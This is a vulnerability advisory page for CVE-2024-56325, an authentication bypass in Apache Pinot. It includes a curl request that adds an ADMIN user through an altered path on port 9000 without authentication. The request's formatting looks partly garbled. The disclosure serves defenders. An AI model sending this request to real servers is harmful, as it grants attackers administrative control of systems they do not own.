CVE Vulnerabilities

CVE-2024-56325

Authentication Bypass Using an Alternate Path or Channel

Published: Apr 01, 2025 | Modified: Apr 01, 2025
CVSS 3.x
N/A
Source:
NVD
CVSS 2.x
RedHat/V2
RedHat/V3
Ubuntu

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H Content-Type: application/json -d {username:hack2,password:hack,component:CONTROLLER,role:ADMIN,tables:[],permissions:[],usernameWithComponent:hack_CONTROLLER} http://{server_ip}:9000/users

Return: {code:401,error:HTTP 401 Unauthorized}

Malicious Request and Response Example

curl -X POST -H Content-Type: application/json -d {username:hack,password:hack,component:CONTROLLER,role:ADMIN,tables:[],permissions:[],usernameWithComponent:hack_CONTROLLER} http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {users:{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Weakness

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Potential Mitigations

References